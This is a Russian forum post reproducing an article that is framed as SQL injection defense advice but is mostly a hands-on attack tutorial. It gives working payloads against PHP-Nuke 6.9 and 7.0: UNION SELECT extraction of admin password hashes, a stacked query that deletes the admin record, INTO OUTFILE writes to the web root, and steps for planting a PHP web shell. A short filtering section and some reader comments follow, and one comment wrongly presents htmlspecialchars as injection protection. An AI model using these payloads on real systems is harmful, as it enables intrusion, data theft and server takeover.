Как защитить от SQL Injection: советы для понимающих

[zion]

На  различных  сайтах  посвященных  безопасности  часто  пролетают  сообщения  о
нахождении уязвимостей внедрения SQL кода в различных скриптах, форумах, движках
и  прочем.  По-видимому данная проблема становится все более и более  актуальна,
администраторы  вовремя обновляют ПО на своих сайтах, авторы скриптов  не  пишут
скриптов  с  бажным  инклудом, но когда встречается скрипт  работающий  с  базой
данных  то ошибки программирования, точнее сказать ошибки при запросах  к  базе,
так  и  лезут в глаза. В данной статье я хотел бы описать наиболе частые  ошибки
приводящие  к  внедрению  своего  кода в запросы  к  базе,  рассмотреть  примеры
эксплоитинга  данных баг для получения нужной нам инфы из базы  ну  и  посмотрим
что из этого всего получится =)
Примеры будут приводится на пхп т.к. имхо это наиболее удобный язык для работы с
БД,  в  качестве  базы  данных использоваться будет mysql  версии  4.0.12,  хотя
мельком  думаю  затронем  и  MS  SQL.  Для понимания  атак  данного  класса  вам
естественно необходимо знать структуру языка SQL. Ну чтож этим мы для  начала  и
займемся.

================================================
---/// Язык SQL
================================================

Для  работы  с  базами  данных  используется язык  SQL  (Структурированный  Язык
Запросов)  Это язык, который дает возможность создавать реляционные базы  данных
(и  работать  с  ними), которые представляют собой наборы связанной  информации,
сохраняемой  в таблицах. Реляционная база данных это тело связанной  информации,
сохраняемой в двухмерных таблицах. Это напоминает адресную или телефонную книгу.

+------------------+----------------------+-------------------------+
| name            | password            | email                  | <-- названия столбцев
+------------------+----------------------+-------------------------+
| admin            | password            | [email protected]    | <--  д
+------------------+----------------------+-------------------------+ <--  а
| lamer            | qwerty              | [email protected]    | <--  н
+------------------+----------------------+-------------------------+ <--  н
| hacker          | mamba                | [email protected]    | <--  ы
+------------------+----------------------+-------------------------+ <--  е

Есть  несколько основных команд SQL которые необходимо знать для  работы  с  БД.
Итак вот они:

Создание таблицы:
-----------------

CREATE TABLE имя таблицы (имя поля тип, имя поля тип, ...)

Этой  командой  в  базе  данных создается новая таблица  с  указанным  именем  и
полями(колонками) указанного типа.
Эта  команда  врятли  пригодится  нам  в нашем  нехорошем  деле  так  что  особо
останавливаться на ней не буду.

Удаление таблицы:
-----------------

DROP TABLE имя таблицы

Удаляет  указанную  таблицу, вне зависимости от того, пустая  она  или  содержит
данные.

Вставка записи:
---------------

INSERT INTO имя таблицы (имя поля1, имя поля2, ...) VALUES ('значение1','значение2',...)

Добавляет  в указаную таблицу поля и соответствующие им значения. Поля,  которые
существуют  в  таблице, но не указаны в данной команде получают  'неопределенное
значение'.  'Неопределенное  значение' -  это,  своего  рода,  внутренний  флаг,
который указывает MySQL, что поле не имеет значения.

Примеры:

INSERT INTO users (name, password, email) VALUES ('root', 'pass', '[email protected]');
// Вставляет в таблицу "users" запись: root в поле name, pass в поле password

INSERT INTO admins (name, posts) VALUES ('admin', 2);
// Вставляет в таблицу  admins  запись: admin в поле name и 2 в поле posts
// Тут следует заметить что поле admin имеет текстовый формат, тогда как поле
// post имеет формат INT (числовой)
// Если бы оба поля были текстовыми то двойку также пришлось бы заключать в
// кавычки

Удаление записи:
----------------

DELETE FROM имя таблицы WHERE выражение

Удаляет  из  указанной  таблицы  все записи,  которые  удовлетворяют  условию  в
выражении после WHERE.

Примеры:

DELETE FROM users WHERE name='root';

DELETE FROM admins WHERE post=2;

Поиск записи:
-------------

SELECT * FROM имя таблицы WHERE выражение

Ищет  в  указанной таблице все записи, которые удовлетворяют условиям выражения.
Знак * означает выбор всех полей записи, если нужно выбрать всего-лишь несколько
полей, они перечисляются явным образом через запятую.

Примеры:

SELECT * FROM users;
// Выведет все записи из таблицы users

SELECT name, email FROM users;
// Выведет записи колонок name и email

SELECT name FROM admins WHERE post>2;
// Выведет записи колонки name из таблицы admins для которых соответствующее значение post>2

SELECT * FROM admins WHERE name='root';

Обновление записи:
------------------

UPDATE имя таблицы SET имя поля1='значение1', имя поля2='значение2',... WHERE выражение

В  указанной  таблице  все записи которые удовлетворяют  выражению,  получают  в
перечисленных полях соответствующие перечисленные значения.

Примеры:

UPDATE users SET name='bad-admin' WHERE password='qwerty';
// В таблице users у всех записей у которых стоит  qwerty  в колонке password, значение в колонке
// name сменится на  bad-admin

================================================
---/// PHP и mySQL
================================================

Теперь посмотрим как работа с БД реализуется в пхп.
Для начала работы с базой нам необходимо установить с ней соединение:

mysql_connect($hostname,$username,$password)

И выбрать базу с которой будем работать:

mysql_select_db($dbname)

$hostname  сервер БД
$username  логин к базе $password  пароль к базе $dbname  название базы
После  этого  мы  можем  отдавать SQL запросы с помощью mysql_query($query)  где
$query  наш запрос.

Например:



Вот  в  принципе основы которые нужно знать для работы с БД. Теперь переходим  к
более интересному, а именно к способам внедрения своего кода.

================================================
---/// Основы SQL-injection
================================================

Как вы могли заметить тестовые данные передаются в sql-запросах заключенными в
кавычки  data'  отсюда можно сделать интересное замечание. Что если  к  скрипте
данные  для  sql-запроса берутся из полученных от пользователя переменных  и  не
фильтруются  Тогда мы можем попробовать вставить в запрос эту самую кавычку "'"

Допустим  есть  скрипт выбирающий мыло пользователя из таблицы в соответствии  с
его логином:



Если мы передаем в переменной $login нормальный текст например "lamer" то в  SQL
будет выполнен запрос:

SELECT mail FROM users WHERE login='lamer'

И все сработает как надо

А теперь попробуем вставить кавычку: $login=hacker'
И запрос будет такой:

SELECT mail FROM users WHERE login='hacker''

И  как  мы  сможем  увидеть данный запрос выдаст нам ошибку. Отлично  =)  Лишняя
кавычка  сделала  свое  дело  и мы смогли видоизменить  запрос  к  базе  данных.
Наипростейший  пример.  Допустим  приведенный  выше  скрипт  позволяет  смотреть
пользователю  его  регистрационные данные. Теперь используя  кавычку  мы  сможем
посмотреть инфу всех пользователей, вот примерно так:

$login=blah' OR login='admin

И sql-запрос изменится на такой:

SELECT mail FROM users WHERE login='blah' OR login='admin'

Т.е.  вместо  вывода мыла юзера, скрипт выдаст нам мыло админа данного  скрипта.
Далее мы можем получить мыла всех пользователей:

$login=no_user' OR '1'='1

SQL запрос такой станет:

SELECT mail FROM users WHERE login='no_user' OR  1'='1'

Т.к. '1'='1'  всегда то запрос вернет все записи из таблицы.

Использование кавычки применимо в случае передачи в запрос текстовых  данных,  с
числовыми  данными все еще проще. Допустим скрипт выводит пароль пользователя  в
соответствии с его порядковым номером:



При  передаче  нормального номера скрипт отдает запрос к БД и запрос  возвращает
необходимые данные:

SELECT password FROM users WHERE num=7;

Тут мы можем изменить запрос даже не прибегая в кавычкам:

$num=1 OR 2

и запрос станет:

SELECT password FROM users WHERE num=1 OR 2;

Это  основа  данного  типа атак. Также кроме кавычки есть  еще  символы  которые
смогут нам пригодится.

Точка  с  запятой  ";"  служит  для разделения sql-запросов  к  базе  данных.  К
сожалению не поддерживается в mysql =( так что далее в статье рассматриваться не
будет.  В  случае  если  мы  имеем дело с MS SQL в  которой  данная  возможность
поддерживается  то  с  её  помощью  мы получаем возможность  отдавать  несколько
запросов в одной строке, например:


Рассмотренный выше скрипт:



Если работает с MS SQL то изменяем переменную вот таким образом:

$login=no_user'; delete FROM users WHERE login='admin

Запрос:

SELECT  mail  FROM  users  WHERE  login='no_user';  delete  FROM  users  WHERE login='admin';

Соответственно мы удалим запись у которой в поле login стоит значение "admin" =)

Также  нам  пригодятся  "-"  и  "/*"  это  символы  обозначающие  в  sql  начало
комментария. Пригодится чтоб отсекать лишние данные в запросах.
Например:

$result  =  mysql_query("SELECT  mail FROM  users  WHERE  login='$login'  AND post='123'");

Если мы передадим переменную $login=no_user' OR '1'='1 то запрос станет:

SELECT mail FROM users WHERE login='no_user' OR '1'='1' AND post='123';

Согласитесь не совсем то что нам надо =
В этом случае нам и пригодится комментирование

$login=no_user' OR '1'='1';--
или
$login=no_user' OR '1'='1'/*

Заметьте  что  в  данном случае мы сами закрываем кавычку в конце  запроса  т.к.
кавычка  из  запроса  которая  ранее  закрывала  переменную  теперь  будет
закоментирована.
Ну  чтож мы теперь умеем выводить информацию из таблицы. Но вы заметили  что  мы
ограничены этой таблицей? Т.е. Мы не можем вывести данные из другой таблицы. Для
получения  данных  из  других таблиц нам потребуется  более  детальное  изучение
структуры запросов и еще одна команда.

================================================
---/// Использование команды UNION
================================================

Итак  команда UNION используется для обьединения вывода двух или более  запросов SELECT.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны
быть  совместимы  для  объединения.  Это  означает,  что  каждый  запрос  должен
указывать  одинаковое  количество столбцов и в том же порядке  и  каждый  должен
иметь тип, совместимый с каждым.
Также  данная  возможность появилать только в mysql версии  4.0  т.е.  на  более
ранних версиях БД работать не будет.

Вид команды таков:

SELECT a1, a2, a3 FROM table1 UNION SELECT b1, b2, b3 FROM table2;

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

SELECT text11, text12, int11 FROM t1 UNION SELECT text21, text22, int22 FROM t2;

Думаю  наиболее удобно будет рассмотреть работу с данной командой на  конкретном
примере.  Помучить  предлагаю  PHP-Nuke версии  7.0  FINAL.  Советую  скачать  и
поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем  mysql
с ведением логов и приступаем.

================================================
---/// SQL injection на примере PHP-Nuke
================================================

Итак разбираться будем с модулем News

https://127.0.0.1/nuke7/modules.php?name=News&new_topic=1

Вот  такой запрос выводит первый топик на движке. Попробуем поставить кавычку  к
значению new_topic, соответственно теперь запрос становится таким:

https://127.0.0.1/nuke7/modules.php?name=Ne...ew_topic=1'

Отдаем в браузере запрос и смотрим логи mysql:

...
10 Query SELECT topictext FROM nuke_topics WHERE topicid='1''
^!!!

10  Query  SELECT  sid, catid, aid, title, time, hometext,  bodytext,  comments, counter, topic, informant, notes, acomm,
score, ratings FROM nuke_stories WHERE topic='1'' ORDER BY sid DESC limit 10
^!!!
...

Вот тут наша ковычка себя и проявила =)
Видите:  WHERE topicid='1''

Рассмотрим первый запрос:

SELECT  topictext  FROM  nuke_topics  WHERE topicid='1''
Выборка  topictext  из таблицы nuke_topics где topicid=1'
Теперь посмотрим тип topictext:

+-------------------------+
| topictext | varchar(40) |
+-------------------------+

Отлично теперь попробуем использовать команду UNION:
Отдаем в браузере запрос:

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:

14 Query SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос


Вот  оно.  Мы  делаем выборку из nuke_topics где topicid='999' и  данный  запрос
естественно  ничего не возвращает т.к. такого топика у нас нет и делаем  выборку
pwd  из  таблицы  nuke_authors  и данный запрос возвращает  хеш  пароля  первого
пользователя который и подставляется в название раздела. Заметьте  что  если  мы
укажем  существующий  номер  топика  то результата  мы  не  получим  т.к.  будет
подставлено название этого топика а не хеш. Поэтому мы и используем номер 999.
Вот первая уязвимость =)

Давайте  рассмотрим  второй  запрос: ( запрос  разбит  на  несколько  строк  для удобства )

SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'' <-- Вот тут мы можем вставить свой sql-код
ORDER BY sid DESC limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+-----------+--------------+
| sid      | int(11)      |
+-----------+--------------+
| catid    | int(11)      |
+-----------+--------------+
| aid      | varchar(30)  |
+-----------+--------------+
| title    | varchar(80)  |
+-----------+--------------+
| time      | datetime    |
+-----------+--------------+
| hometext  | text        |
+-----------+--------------+
| bodytext  | text        |
+-----------+--------------+
| comments  | int(11)      |
+-----------+--------------+
| counter  | mediumint( |
+-----------+--------------+
| topic    | int(3)      |
+-----------+--------------+
| informant | varchar(20)  |
+-----------+--------------+
| notes    | text        |
+-----------+--------------+
| acomm    | int(1)      |
+-----------+--------------+
| score    | int(10)      |
+-----------+--------------+
| ratings  | int(10)      |
+-----------+--------------+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с
UNION  таким  образом чтобы типы из таблицы nuke_stories совпадали с  типами  из
nuke_authors и запрос примет вид:

modules.php?name=News&new_topic=999' UNION SELECT counter,  counter,  pwd,  pwd, counter,  pwd,  pwd,  counter,  counter, counter, pwd,  pwd,  counter,  counter, counter FROM nuke_authors /*

Отдаем  запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже  не
обязательно  указывать  несуществующий топик  т.к.  все  работает  и  с  топиком
существующим в базе.

Если  посмотреть логи БД то можно увидеть что был отдан вот такой запрос к  базе
данных: (запрос разбит на 4 блока для большего удобства)


SELECT sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
FROM nuke_stories
WHERE topic='1'

UNION

SELECT counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
FROM nuke_authors

/*
'  ORDER BY sid DESC limit 10


Как  вы  можете  видеть в обоих запросах количество и типы  столбцев  совпадают.
Запрос специально разбит на 4 блока:
1 блок - это первый запрос select выбирающий из таблицы nuke_stories
2 блок - команда обьединения запросов union
3 блок - второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок - все что идет после "/*" будет рассматриваться как комментарий


================================================
---/// Вывод данных в файл
================================================

К слову сказать, в инете полно практически одинаковых статей про sql-injection и
все  они рассказывают про атаки данного типа при использовании MS SQL в качестве
сервера  базы  данных. Конечно сервак от мелкомягких дает поистинне  потрясающие
возможности для взлома всего сервера за счет возможностей разделения запросов  в
строке  и  прочих  фишек но это тема другой статьи а у нас на повестке  mysql  в
котором  все  не  так просто, но это совсем не плохо, это хорошо  т.к.  с  mysql
возится  сложнее а значит интереснее =) А к чему я это сказал? Да просто  в  тех
статьях  описывается взлом при авторизации и авторизация там происходит примерно
таким запросом:

SELECT * FROM users WHERE login='blabla' AND password='blabla';

Изврат!  Не  правда-ли?  Абсолютно убогий способ работы с  базой  данных.  Зачем
спрашивается  выбирать все данные из таблицы? Бррр  что-то меня вообще  не  туда
унесло = Мы лучше рассмотрим авторизацию в PHP-Nuke 6.9. в котором процесс
авторизации  сделан более грамотно и красиво. Обратите внимание на версию  нюки!
Дело  в  том  что  в версии 7.0 не удастся через форму внедрить  код  с  помощью
кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода
в  этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на
эту  тему  статья  будет чуть позднее а рассмотрим внедрение кода  просто  через
форму  авторизации. Для этого и пришлось использовать более раннюю  версию.  Как
пример.
Запускаем https://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и
пароля.  Ну  вы наверно уже догадались что мы будем делать? Конечно вписываем  в
качестве логина admin' (не забудьте про кавычку) и 123 в кач-ве пароля.
Хммм... Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль
в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:

1 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin''
^  - вот она наша родная кавычка =)

Стоп!  Вы  уже побежали вставлять UNION и SELECT? Рано. Дело в том что в  данном
модуле  не  происходит никакого вывода полученных данных из БД. Естественно  раз
нет  вывода то и вывести полученный хеш нам некуда. Что же делать. К  счастью  в
mysql  есть замечательная опция сохранения выбранных из таблицы данных  в  файл.
Производится данный финт ушами следующим образом:

SELECT * FROM table INTO OUTFILE 'путь_к_файлу/файл';

Попробуем  сохранить хеш пароля админа в файле. Форма ввода не позволяет  ввести
длинный логин поэтому придется передавать данные через строку браузера:

https://127.0.0.1/phpnuke69/admin.php?op=lo...;aid=admin' INTO OUTFILE 'pwd.txt

После запроса данной строки в БД исполняется:

9 Query SELECT pwd, admlanguage FROM nuke_authors WHERE aid='admin' INTO OUTFILE 'pwd.txt'

И  хеш  пароля пользователя "admin" оказывается записан в файл pwd.txt.  Но  вся
проблемма  в  том  что файл создается не в корне www-сервера а в  каталоге  базы
данных.  Для создания файла в каталоге доступном через web необходимо  указывать
полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt

И теперь уже:

https://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно  необходимо  учитывать права доступа и не факт что вы  сможете  записать
файл  в  нужное место но это сейчас не важно. Главное что мы смогли сформировать
нужный запрос и создать файл.

================================================
---/// Получение http-шелла
================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то
большего =) Их есть у меня =)
Как  мы  уже разобрались файлы мы создавать можем. А ведь в файл можно  записать
любую  инфу из базы данных, почему бы не воспользоваться этим и не создать  себе
маленький такой http-шелл посредством создания php файла с незатейливым и
наверно всем знакомым содержанием:

Итак  воспользовавшись  одним  из описанных выше методов  вам  удалось  все-таки
получить  хеш  пароля админа и вы благополучно залогинились  как  админ  движка,
расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно
рассмотрена  в  следующей  статье)  Теперь  вам  необходимо  каким-либо  образом
вставить php-код в одно из значений в базе данных а потом вывести его  в  файл.
Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел Topics.  Создаем
новый  топик.
В  поле  Topic Name пишем passthru
в поле Topic  Text  пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=News&new_topic=999' UNION SELECT pwd from nuke_authors/*
SELECT topictext FROM nuke_topics WHERE topicid='999' UNION SELECT pwd from nuke_authors/*'

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца "topictext"

https://127.0.0.1/phpnuke/modules.php?name=...ew_topic=2' INTO OUTFILE 'shell.php' /*

где 2 - номер нового топика , shell.php - файл который будет создан

Не забудьте прописать путь к файлу.
После  выполнения данного запроса будет создан файл shell.php содержащий  нужный
нам пхп-код.


================================================
---/// Методы защиты
================================================

Если  вы все-таки прочитали статью то наверно уже поняли что единственно  верной
защитой  является фильтрация всех данных принимаемых от пользователя.  Наилучшим
решением  будет  разрешить  использование  лишь  букв  и  цифр.  В  случае  если
принимаемое значение должно быть цифрой, проверяейте его перед помещением в  sql
запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может
использовать другие символы для если не внедрения кода то хотя бы для получения
дополнительной информации (например о пути к сайту) из сообщений о ошибках.
И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить
конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя
в запросах, в куках, в общем вообще все!


================================================
---/// Заключение
================================================

Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа
sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов
работающих с базами данных. Удачи.

P.S. Вся информация в данной статье служит исключительно в образовательных целях.
Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные
ошибки при работе с базами данных.

Статья была изначально опубликована по адресу https://injection.rulezz.ru/

[Color]

много людей прочитали эту статью и кто что понял?)

[zion]

много людей прочитали эту статью и кто что понял?)

Никто нечитал) а понять уж темболее немболее не смогли))

[Rev[]luti0]

Почему не поняли я например это знал ... Прочитал освежил немного знания...

[elad450]

Спасибо помог мне многое !

[sensej]

Не знаю кто как защищается. Некоторые умники пишут выризалку всех запрещенных символов. Я для MSSQL использую функцию htmlspecialchars()  для обработки инъекций, вроде пака не ламали.